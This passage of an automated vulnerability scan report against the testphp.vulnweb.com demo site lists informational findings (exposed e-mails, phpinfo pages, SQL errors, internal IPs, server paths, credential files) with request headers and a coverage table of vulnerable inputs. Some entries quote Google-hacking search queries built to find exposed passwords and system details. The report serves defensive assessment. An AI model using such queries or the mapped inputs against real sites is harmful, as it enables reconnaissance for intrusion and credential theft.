
Pattern found: wvs@acunetix.com

Request headers

```
GET /artists.php HTTP/1.1
Pragma: no-cache
Cache-Control: no-cache
Referer: http://testphp.vulnweb.com/
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: *****
Acunetix-Aspect-Queries: aspectalerts
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*
```

**/cart.php**

Details

Pattern found: wvs@acunetix.com

Request headers

```
GET /cart.php HTTP/1.1
Pragma: no-cache
Cache-Control: no-cache
Referer: http://testphp.vulnweb.com/
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: *****
Acunetix-Aspect-Queries: aspectalerts
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*
```

**/categories.php**

Details

Pattern found: wvs@acunetix.com

Request headers

```
GET /categories.php HTTP/1.1
Pragma: no-cache
Cache-Control: no-cache
Referer: http://testphp.vulnweb.com/
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: *****
Acunetix-Aspect-Queries: aspectalerts
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*
```

**/disclaimer.php**

Details

Pattern found: wvs@acunetix.com

Request headers

```
GET /disclaimer.php HTTP/1.1
Pragma: no-cache
Cache-Control: no-cache
Referer: http://testphp.vulnweb.com/
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: *****
Acunetix-Aspect-Queries: aspectalerts
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*
```

**/guestbook.php**

Details

Pattern found: wvs@acunetix.com

Request headers

```
GET /guestbook.php HTTP/1.1
Pragma: no-cache
Cache-Control: no-cache
Referer: http://testphp.vulnweb.com/
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: *****
Acunetix-Aspect-Queries: aspectalerts
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*
```

**/index.bak**

Details

Pattern found: wasp@acunetix.com

Request headers

```
GET /index.bak HTTP/1.1
Pragma: no-cache
Cache-Control: no-cache
Referer: http://testphp.vulnweb.com/
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: *****
Acunetix-Aspect-Queries: aspectalerts
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*
```

**/index.php**

Details

Pattern found: wvs@acunetix.com

Request headers

```
GET /index.php HTTP/1.1
Pragma: no-cache
Cache-Control: no-cache
Referer: http://testphp.vulnweb.com/
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: *****
Acunetix-Aspect-Queries: aspectalerts
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*
```

**/listproducts.php**

Details

Pattern found: wvs@acunetix.com

Request headers

```
GET /listproducts.php HTTP/1.1
Pragma: no-cache
Cache-Control: no-cache
Referer: http://testphp.vulnweb.com/
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: *****
Acunetix-Aspect-Queries: aspectalerts
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*
```

**/login.php**

Details

Pattern found: wvs@acunetix.com

Request headers

```
GET /login.php HTTP/1.1
Pragma: no-cache
Cache-Control: no-cache
Referer: http://testphp.vulnweb.com/
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: *****
Acunetix-Aspect-Queries: aspectalerts
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*
```

**/logout.php**

Details

Pattern found: wvs@acunetix.com

Request headers

```
GET /logout.php HTTP/1.1
Pragma: no-cache
Cache-Control: no-cache
Referer: http://testphp.vulnweb.com/
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: *****
Acunetix-Aspect-Queries: aspectalerts
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*
```

**/product.php**

Details

Pattern found: wvs@acunetix.com

Request headers

```
GET /product.php HTTP/1.1
Pragma: no-cache
Cache-Control: no-cache
Referer: http://testphp.vulnweb.com/
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: *****
Acunetix-Aspect-Queries: aspectalerts
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*
```

**/search.php**

Details

Pattern found: wvs@acunetix.com

Request headers

```
GET /search.php HTTP/1.1
Pragma: no-cache
Cache-Control: no-cache
Referer: http://testphp.vulnweb.com/
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: *****
Acunetix-Aspect-Queries: aspectalerts
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*
```

**/secured/phpinfo.php**

Details

Pattern found: root@dessler.cse.buffalo.edu
root@localhost.localdomain
license@php.net

Request headers

```
GET /secured/phpinfo.php HTTP/1.1
Pragma: no-cache
Cache-Control: no-cache
Referer: http://testphp.vulnweb.com/
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: *****
Acunetix-Aspect-Queries: aspectalerts
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*
```

**/signup.php**

Details

Pattern found: wvs@acunetix.com

Request headers

```
GET /signup.php HTTP/1.1
Pragma: no-cache
Cache-Control: no-cache
Referer: http://testphp.vulnweb.com/
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: *****
Acunetix-Aspect-Queries: aspectalerts
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*
```

**/Templates/main_dynamic_template.dwt.php**

Details

Pattern found: wvs@acunetix.com

Request headers

```
GET /Templates/main_dynamic_template.dwt.php HTTP/1.1
Pragma: no-cache
Cache-Control: no-cache
Referer: http://testphp.vulnweb.com/
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: *****
Acunetix-Aspect-Queries: aspectalerts
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*
```

## GHDB: Default phpinfo page

| | |
|---|---|
| Severity | **Informational** |
| Type | Informational |
| Reported by module | GHDB |

### Description

The description for this alert is contributed by the GHDB community, it may contain inappropriate language.
Category : Files containing passwords

This will look throught default phpinfo pages for ones that have a default mysql password.

The Google Hacking Database (GHDB) appears courtesy of the Google Hacking community.

### Impact

Not available. Check description.

### Recommendation

Not available. Check description.

### References

The Google Hacking Database (GHDB) community
Acunetix Google hacking

### Affected items

**/secured/phpinfo.php**

Details

We found intitle:"phpinfo()" +"mysql.default_password" +"Zend Scripting Language Engine"

Request headers

```
GET /secured/phpinfo.php HTTP/1.1
Pragma: no-cache
Cache-Control: no-cache
Referer: http://testphp.vulnweb.com/
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: *****
Acunetix-Aspect-Queries: aspectalerts
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*
```

## GHDB: phpinfo()

| | |
|---|---|
| Severity | **Informational** |
| Type | Informational |
| Reported by module | GHDB |

### Description

The description for this alert is contributed by the GHDB community, it may contain inappropriate language.
Category : Files containing juicy info

this brings up sites with phpinfo(). There is SO much cool stuff in here that you just have to check one out for yourself! I mean full blown system versioning, SSL version, sendmail version and path, ftp, LDAP, SQL info, Apache mods, Apache env vars, *sigh* the list goes on and on! Thanks "joe!" =)

The Google Hacking Database (GHDB) appears courtesy of the Google Hacking community.

### Impact

Not available. Check description.

### Recommendation

Not available. Check description.

### References

The Google Hacking Database (GHDB) community
Acunetix Google hacking

### Affected items

**/secured/phpinfo.php**

Details

We found intitle:phpinfo "PHP Version"

Request headers

```
GET /secured/phpinfo.php HTTP/1.1
Pragma: no-cache
Cache-Control: no-cache
Referer: http://testphp.vulnweb.com/
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: *****
Acunetix-Aspect-Queries: aspectalerts
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*
```

## GHDB: Sablotron error message

| | |
|---|---|
| Severity | **Informational** |
| Type | Informational |
| Reported by module | GHDB |

### Description

The description for this alert is contributed by the GHDB community, it may contain inappropriate language.
Category : Error Messages

Sablotron is an XML toolit thingie. This query hones in on error messages generated by this toolkit. These error messages reveal all sorts of interesting stuff such as source code snippets, path and filename info, etc.

The Google Hacking Database (GHDB) appears courtesy of the Google Hacking community.

### Impact

Not available. Check description.

### Recommendation

Not available. Check description.

### References

The Google Hacking Database (GHDB) community
Acunetix Google hacking

### Affected items

**/pictures/path-disclosure-unix.html**

Details

We found warning "error on line" php sablotron

Request headers

```
GET /pictures/path-disclosure-unix.html HTTP/1.1
Pragma: no-cache
Cache-Control: no-cache
Referer: http://testphp.vulnweb.com/
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: *****
Acunetix-Aspect-Queries: aspectalerts
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*
```

## GHDB: SQL error message

| | |
|---|---|
| Severity | **Informational** |
| Type | Informational |
| Reported by module | GHDB |

### Description

The description for this alert is contributed by the GHDB community, it may contain inappropriate language.
Category : Error Messages

Another SQL error message, this message can display the username, database, path names and partial SQL code, all of which are very helpful for hackers...

The Google Hacking Database (GHDB) appears courtesy of the Google Hacking community.

### Impact

Not available. Check description.

### Recommendation

Not available. Check description.

### References

The Google Hacking Database (GHDB) community
Acunetix Google hacking

### Affected items

**/Connections/DB_Connection.php**

Details

We found "access denied for user" "using password" -documentation

Request headers

```
GET /Connections/DB_Connection.php HTTP/1.1
Pragma: no-cache
Cache-Control: no-cache
Referer: http://testphp.vulnweb.com/
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: *****
Acunetix-Aspect-Queries: aspectalerts
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*
```

**/secured/database_connect.php**

Details

We found "access denied for user" "using password" -documentation

Request headers

```
GET /secured/database_connect.php HTTP/1.1
Pragma: no-cache
Cache-Control: no-cache
Referer: http://testphp.vulnweb.com/
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: *****
Acunetix-Aspect-Queries: aspectalerts
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
```

```
Accept: */*
```

## Microsoft Office possible sensitive information

| | |
|---|---|
| Severity | **Informational** |
| Type | Informational |
| Reported by module | Scripting (Text_Search_File.script) |

### Description

This document has been converted to HTML using Microsoft Office. It seems that Office has included sensitive information during the conversion.

### Impact

Possible sensitive information disclosure that may help an attacker to conduct social engineering attacks.

### Recommendation

Inspect the source code of this document and remove the sensitive information.

### References

iMPERVA Source Code Disclosure

### Affected items

**/secured/office.htm**

Details

```
Pattern found: <o:DocumentProperties>
  <o:Author>Acunetix</o:Author>
  <o:LastAuthor>Acunetix</o:LastAuthor>
  <o:Revision>1</o:Revision>
  <o:TotalTime>0</o:TotalTime>
  <o:Created>2005-04-05T11:44:00Z</o:Created>
  <o:LastSaved>2005-04-05T11:44:00Z</o:LastSaved>
  <o:Pages>1</o:Pages>
  <o:Words>5</o:Words>
  <o:Characters>30</o:Characters>
  <o:Company>Acunetix</o:Company>
  <o:Lines>1</o:Lines>
  <o:Paragraphs>1</o:Paragraphs>
  <o:CharactersWithSpaces>34</o:CharactersWithSpaces>
  <o:Version>11.6360</o:Version>
 </o:DocumentProperties>
```

Request headers

```
GET /secured/office.htm HTTP/1.1
Pragma: no-cache
Cache-Control: no-cache
Referer: http://testphp.vulnweb.com/
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: *****
Acunetix-Aspect-Queries: aspectalerts
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*
```

## Password type input with auto-complete enabled

| | |
|---|---|
| Severity | **Informational** |
| Type | Informational |
| Reported by module | Crawler |

### Description

When a new name and password is entered in a form and the form is submitted, the browser asks if the password should be saved. Thereafter when the form is displayed, the name and password are filled in automatically or are completed as the name is entered. An attacker with local access could obtain the cleartext password from the browser cache.

### Impact

Possible sensitive information disclosure

### Recommendation

The password auto-complete should be disabled in sensitive applications.
To disable auto-complete, you may use a code similar to:
<INPUT TYPE="password" AUTOCOMPLETE="off">

### Affected items

**/login.php**

Details

Password type input named pass from form named loginform with action userinfo.php has autocomplete enabled.

Request headers

```
GET /login.php HTTP/1.1
Pragma: no-cache
Cache-Control: no-cache
Referer: http://testphp.vulnweb.com/
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: *****
Acunetix-Aspect-Queries: aspectalerts
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*
```

**/signup.php**

Details

Password type input named upass from form named form1 with action /secured/newuser.php has autocomplete enabled.

Request headers

```
GET /signup.php HTTP/1.1
Pragma: no-cache
Cache-Control: no-cache
Referer: http://testphp.vulnweb.com/
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: *****
Acunetix-Aspect-Queries: aspectalerts
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*
```

**/signup.php**

Details

Password type input named upass2 from form named form1 with action /secured/newuser.php has autocomplete enabled.

Request headers

```
GET /signup.php HTTP/1.1
Pragma: no-cache
Cache-Control: no-cache
Referer: http://testphp.vulnweb.com/
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: *****
Acunetix-Aspect-Queries: aspectalerts
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*
```

## Possible internal IP address disclosure

| | |
|---|---|
| Severity | **Informational** |
| Type | Informational |
| Reported by module | Scripting (Text_Search_File.script) |

### Description

A string matching an internal IPv4 address was found on this page. This may disclose information about the IP addressing scheme of the internal network. This information can be used to conduct further attacks.

This alert may be a false positive, manual confirmation is required.

### Impact

Possible sensitive information disclosure.

### Recommendation

Prevent this information from being displayed to the user.

### Affected items

**/404.php**

Details

Pattern found: 192.168.0.28

Request headers

```
GET /404.php HTTP/1.1
Pragma: no-cache
Cache-Control: no-cache
Referer: http://testphp.vulnweb.com/
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: *****
Acunetix-Aspect-Queries: aspectalerts
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*
```

**/pictures/ipaddresses.txt**

Details

Pattern found: 192.168.0.26

Request headers

```
GET /pictures/ipaddresses.txt HTTP/1.1
Pragma: no-cache
Cache-Control: no-cache
Referer: http://testphp.vulnweb.com/
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: *****
Acunetix-Aspect-Queries: aspectalerts
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*
```

**/secured/phpinfo.php**

Details

Pattern found: 192.168.0.5

Request headers

```
GET /secured/phpinfo.php HTTP/1.1
Pragma: no-cache
Cache-Control: no-cache
Referer: http://testphp.vulnweb.com/
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: *****
Acunetix-Aspect-Queries: aspectalerts
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*
```

## Possible server path disclosure (Unix)

| | |
|---|---|
| Severity | **Informational** |
| Type | Informational |
| Reported by module | Scripting (Text_Search_File.script) |

### Description

One or more fully qualified path names were found on this page. From this information the attacker may learn the file system structure from the web server. This information can be used to conduct further attacks.

This alert may be a false positive, manual confirmation is required.

### Impact

Possible sensitive information disclosure.

### Recommendation

Prevent this information from being displayed to the user.

### Affected items

**/pictures/path-disclosure-unix.html**

Details

Pattern found: /usr/local/etc/httpd/htdocs2/destination

Request headers

```
GET /pictures/path-disclosure-unix.html HTTP/1.1
Pragma: no-cache
Cache-Control: no-cache
Referer: http://testphp.vulnweb.com/
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: *****
Acunetix-Aspect-Queries: aspectalerts
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*
```

**/secured/phpinfo.php**

Details

Pattern found: /usr/obj/usr/src/sys/GENERIC

Request headers

```
GET /secured/phpinfo.php HTTP/1.1
Pragma: no-cache
Cache-Control: no-cache
Referer: http://testphp.vulnweb.com/
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: *****
Acunetix-Aspect-Queries: aspectalerts
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*
```

## Possible username or password disclosure

| | |
|---|---|
| Severity | **Informational** |
| Type | Informational |
| Reported by module | Scripting (Text_Search_File.script) |

### Description

A username and/or password was found in this file. This information could be sensitive.

This alert may be a false positive, manual confirmation is required.

### Impact

Possible sensitive information disclosure.

### Recommendation

Remove this file from your website or change its permissions to remove access.

### Affected items

**/Connections/DB_Connection.php**

Details

Pattern found: password: NO

Request headers

```
GET /Connections/DB_Connection.php HTTP/1.1
Pragma: no-cache
Cache-Control: no-cache
Referer: http://testphp.vulnweb.com/
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: *****
Acunetix-Aspect-Queries: aspectalerts
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*
```

**/pictures/credentials.txt**

Details

Pattern found: password=something

Request headers

```
GET /pictures/credentials.txt HTTP/1.1
Pragma: no-cache
Cache-Control: no-cache
Referer: http://testphp.vulnweb.com/
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: *****
Acunetix-Aspect-Queries: aspectalerts
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*
```

**/secured/database_connect.php**

Details

Pattern found: password: NO

Request headers

```
GET /secured/database_connect.php HTTP/1.1
Pragma: no-cache
Cache-Control: no-cache
Referer: http://testphp.vulnweb.com/
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: *****
Acunetix-Aspect-Queries: aspectalerts
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*
```

## Scanned items (coverage report)

**Scanned 128 URLs. Found 63 vulnerable.**

**URL: http://testphp.vulnweb.com/**

Vulnerabilities has been identified for this URL

No input(s) found for this URL

**URL: http://testphp.vulnweb.com/search.php**

Vulnerabilities has been identified for this URL

5 input(s) found for this URL

**Inputs**

| **Input scheme 1** | |
|---|---|
| Input name | Input type |
| test | URL encoded GET |
| goButton | URL encoded POST |
| searchFor | URL encoded POST |

| **Input scheme 2** | |
|---|---|
| Input name | Input type |
| test | URL encoded GET |
| searchFor | URL encoded POST |

**URL: http://testphp.vulnweb.com/hpp/**

Vulnerabilities has been identified for this URL

1 input(s) found for this URL

**Inputs**

| **Input scheme 1** | |
|---|---|
| Input name | Input type |
| pp | URL encoded GET |

**URL: http://testphp.vulnweb.com/hpp/params.php**

Vulnerabilities has been identified for this URL

6 input(s) found for this URL

**Inputs**

| **Input scheme 1** | |
|---|---|
| Input name | Input type |
| p | URL encoded GET |
| pp | URL encoded GET |

| **Input scheme 2** | |
|---|---|
| Input name | Input type |
| aaaa/ | URL encoded GET |

| **Input scheme 3** | |
|---|---|
| Input name | Input type |
| aaaa/ | URL encoded GET |
| p | URL encoded GET |
| pp | URL encoded GET |

**URL: http://testphp.vulnweb.com/hpp/index.php**

Vulnerabilities has been identified for this URL

1 input(s) found for this URL

**Inputs**

| **Input scheme 1** | |
|---|---|
| Input name | Input type |
| pp | URL encoded GET |

**URL: http://testphp.vulnweb.com/hpp/test.php**

No vulnerabilities has been identified for this URL

No input(s) found for this URL

**URL: http://testphp.vulnweb.com/cart.php**

Vulnerabilities has been identified for this URL

2 input(s) found for this URL

**Inputs**

| **Input scheme 1** | |
|---|---|
| Input name | Input type |
| addcart | URL encoded POST |
| price | URL encoded POST |

**URL: http://testphp.vulnweb.com/index.php**

Vulnerabilities has been identified for this URL

No input(s) found for this URL

**URL: http://testphp.vulnweb.com/login.php**

Vulnerabilities has been identified for this URL

No input(s) found for this URL

**URL: http://testphp.vulnweb.com/style.css**

No vulnerabilities has been identified for this URL

No input(s) found for this URL

**URL: http://testphp.vulnweb.com/artists.php**

Vulnerabilities has been identified for this URL

1 input(s) found for this URL

**Inputs**

| **Input scheme 1** | |
|---|---|
| Input name | Input type |
| artist | URL encoded GET |

**URL: http://testphp.vulnweb.com/privacy.php**

Vulnerabilities has been identified for this URL

No input(s) found for this URL

**URL: http://testphp.vulnweb.com/userinfo.php**

Vulnerabilities has been identified for this URL

3 input(s) found for this URL

**Inputs**

| **Input scheme 1** | |
|---|---|
| Input name | Input type |
| pass | URL encoded POST |
| uname | URL encoded POST |

| **Input scheme 2** | |
|---|---|
| Input name | Input type |
| uname | URL encoded POST |

**URL: http://testphp.vulnweb.com/guestbook.php**

Vulnerabilities has been identified for this URL

5 input(s) found for this URL

**Inputs**

| **Input scheme 1** | |
|---|---|
| Input name | Input type |
| name | URL encoded POST |

| | |
|---|---|
| text | URL encoded POST |

**Input scheme 2**

| Input name | Input type |
|---|---|
| name | URL encoded POST |
| submit | URL encoded POST |
| text | URL encoded POST |

**URL: http://testphp.vulnweb.com/categories.php**

Vulnerabilities has been identified for this URL

No input(s) found for this URL

**URL: http://testphp.vulnweb.com/Flash/**

Vulnerabilities has been identified for this URL

No input(s) found for this URL

**URL: http://testphp.vulnweb.com/Flash/add.swf**

No vulnerabilities has been identified for this URL

No input(s) found for this URL

**URL: http://testphp.vulnweb.com/Flash/add.fla**

No vulnerabilities has been identified for this URL

No input(s) found for this URL

**URL: http://testphp.vulnweb.com/AJAX/**

No vulnerabilities has been identified for this URL

No input(s) found for this URL

**URL: http://testphp.vulnweb.com/AJAX/index.php**

No vulnerabilities has been identified for this URL

No input(s) found for this URL

**URL: http://testphp.vulnweb.com/AJAX/infotitle.php**

Vulnerabilities has been identified for this URL

1 input(s) found for this URL

**Inputs**

**Input scheme 1**

| Input name | Input type |
|---|---|
| id | URL encoded POST |

**URL: http://testphp.vulnweb.com/AJAX/artists.php**

No vulnerabilities has been identified for this URL

No input(s) found for this URL

**URL: http://testphp.vulnweb.com/AJAX/infoartist.php**

Vulnerabilities has been identified for this URL

1 input(s) found for this URL

**Inputs**

**Input scheme 1**

| Input name | Input type |
|---|---|
| id | URL encoded GET |

**URL: http://testphp.vulnweb.com/AJAX/titles.php**

No vulnerabilities has been identified for this URL

No input(s) found for this URL

**URL: http://testphp.vulnweb.com/AJAX/showxml.php**

Vulnerabilities has been identified for this URL

1 input(s) found for this URL

**Inputs**

| Input scheme 1 | |
|---|---|
| Input name | Input type |
| text/xml | Custom POST |

**URL: http://testphp.vulnweb.com/AJAX/styles.css**

No vulnerabilities has been identified for this URL

No input(s) found for this URL

**URL: http://testphp.vulnweb.com/AJAX/infocateg.php**

Vulnerabilities has been identified for this URL

1 input(s) found for this URL

**Inputs**

| Input scheme 1 | |
|---|---|
| Input name | Input type |
| id | URL encoded GET |

**URL: http://testphp.vulnweb.com/AJAX/categories.php**

No vulnerabilities has been identified for this URL

No input(s) found for this URL

**URL: http://testphp.vulnweb.com/AJAX/htaccess.conf**

No vulnerabilities has been identified for this URL

No input(s) found for this URL

**URL: http://testphp.vulnweb.com/disclaimer.php**

Vulnerabilities has been identified for this URL

No input(s) found for this URL

**URL: http://testphp.vulnweb.com/images/**

Vulnerabilities has been identified for this URL

No input(s) found for this URL

**URL: http://testphp.vulnweb.com/Mod_Rewrite_Shop/**

Vulnerabilities has been identified for this URL

No input(s) found for this URL

**URL: http://testphp.vulnweb.com/Mod_Rewrite_Shop/images/**

Vulnerabilities has been identified for this URL

No input(s) found for this URL

**URL: http://testphp.vulnweb.com/Mod_Rewrite_Shop/index.php**

No vulnerabilities has been identified for this URL

No input(s) found for this URL

**URL: http://testphp.vulnweb.com/Mod_Rewrite_Shop/rate.php**

Vulnerabilities has been identified for this URL

1 input(s) found for this URL

**Inputs**

| Input scheme 1 | |
|---|---|
| Input name | Input type |
| id | URL encoded GET |

**URL: http://testphp.vulnweb.com/Mod_Rewrite_Shop/details.php**

Vulnerabilities has been identified for this URL

1 input(s) found for this URL

**Inputs**

| Input scheme 1 | |
|---|---|
| Input name | Input type |
| id | URL encoded GET |

**URL: http://testphp.vulnweb.com/Mod_Rewrite_Shop/buy.php**

Vulnerabilities has been identified for this URL

1 input(s) found for this URL

**Inputs**

| **Input scheme 1** | |
|---|---|
| Input name | Input type |
| id | URL encoded GET |

**URL: http://testphp.vulnweb.com/Mod_Rewrite_Shop/.htaccess**

No vulnerabilities has been identified for this URL

No input(s) found for this URL

**URL: http://testphp.vulnweb.com/Mod_Rewrite_Shop/Details**

No vulnerabilities has been identified for this URL

No input(s) found for this URL

**URL: http://testphp.vulnweb.com/Mod_Rewrite_Shop/Details/color-printer**

No vulnerabilities has been identified for this URL

No input(s) found for this URL

